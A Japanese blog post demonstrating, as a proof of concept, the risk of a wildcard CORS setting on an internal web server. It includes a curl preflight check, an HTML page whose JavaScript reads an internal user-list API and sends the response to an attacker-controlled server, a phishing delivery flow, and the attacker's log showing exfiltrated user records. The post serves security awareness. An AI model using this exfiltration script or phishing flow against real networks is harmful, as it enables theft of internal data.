CORSの設定を「Origin:*」にしていた場合のリスクのPOC

表題の通り、どの様なリスクが想定できるかを検証してみたいと思います。以下の様なネットワークがあると想定します。

社内webサーバーのCORSの設定が以下のような状況だとします。要はすべてのOrigin及びメソッドに対して、allowになっています。

curl -v -X OPTIONS -H 'Origin:*' -H 'Access_control-Request-Method: GET' -H 'Access-Control-Request-Headers: content-type' http://192.168.1.34:3000
*   Trying 192.168.1.34:3000...
* Connected to 192.168.1.34 (192.168.1.34) port 3000 (#0)
> OPTIONS / HTTP/1.1
> Host: 192.168.1.34:3000
> User-Agent: curl/7.81.0
> Accept: */*
> Origin:*
> Access_control-Request-Method: GET
> Access-Control-Request-Headers: content-type
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< access-control-allow-origin: *
< access-control-allow-methods: GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS
< access-control-expose-headers: 
< access-control-max-age: 7200
< access-control-allow-headers: content-type
< Transfer-Encoding: chunked
< 
* Connection #0 to host 192.168.1.34 left intact

この様な場合以下のフローが成立します。

1. 攻撃者は社内の人間にアクセスさせる「社内webサーバーの情報を引き出すjavascriptが埋め込まれたHTMLファイルを作成」します。

例えば以下のようなHTMLファイルを用意します。


welcome my page!!!

<script>
  const victim = new XMLHttpRequest();
  victim.open("GET", 'http://192.168.1.34:3000/api/v1/users');
  victim.setRequestHeader('Content-Type', 'application/json');
  victim.send();

  victim.onreadystatechange=function(){
    const attack = new XMLHttpRequest();
    attack.open("GET", `http://192.168.1.31:8000/${victim.responseText}`);
    attack.send();
  }
</script>

このHTMLは、ブラウザで読み込まれた際に、javascriptを実行します。javascriptは以下の動作をします。

  1. 社内サーバーのユーザー一覧取得APIにアクセスをします。
  2. その結果を攻撃者が用意しているwebサーバーのIPアドレスの後にURLのパスとして追加し、攻撃者が用意しているwebサーバーにアクセスします。

2. 攻撃者はHTMLのURLリンクを含んだなりすましメールを対象者に送ります。

3. 対象者は騙されたと知らずメールのURLリンクをクリックしてHTMLをダウンロード(ブラウザで開く)します。

4. ブラウザでHTMLが実行されます。javascriptも一緒に実行されます。

javascriptが実行されると、社内webサーバーの情報を引き出し、その情報を攻撃者の用意したwebサーバーに送ります。以下、攻撃者が用意したwebサーバーのログになります。

22:%222024-01-30T04:03:11.022Z%22%7D] HTTP/1.1" 404 -                                                          
192.168.1.99 - - [30/Jan/2024 13:57:40] "GET / HTTP/1.1" 304 -                                                 
192.168.1.99 - - [30/Jan/2024 13:57:40] code 404, message File not found                                       
192.168.1.99 - - [30/Jan/2024 13:57:40] "GET /[%7B%22id%22:1,%22name%22:%22user-1%22,%22email%22:%22user-1@example.com%22,%22password%22:%225%22,%22created_at%22:%222024-01-30T04:03:10.958Z%22,%22updated_at%22:%222024-01-30T04:03:10.958Z%22%7D,%7B%22id%22:2,%22name%22:%22user-2%22,%22email%22:%22user-2@example.com%22,%22password%22:%2210%22,%22created_at%22:%222024-01-30T04:03:11.017Z%22,%22updated_at%22:%222024-01-30T04:03:11.017Z%22%7D,%7B%22id%22:3,%22name%22:%22user-3%22,%22email%22:%22user-3@example.com%22,%22password%22:%2215%22,%22created_at%22:%222024-01-30T04:03:11.019Z%22,%22updated_at%22:%222024-01-30T04:03:11.019Z%22%7D,%7B%22id%22:4,%22name%22:%22user-4%22,%22email%22:%22user-4@example.com%22,%22password%22:%2220%22,%22created_at%22:%222024-01-30T04:03:11.020Z%22,%22updated_at%22:%222024-01-30T04:03:11.020Z%22%7D,%7B%22id%22:5,%22name%22:%22user-5%22,%22email%22:%22user-5@example.com%22,%22password%22:%2225%22,%22created_at%22:%222024-01-30T04:03:11.022Z%22,%22updated_at%22:%222024-01-30T04:03:11.022Z%22%7D] HTTP/1.1" 404 -

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です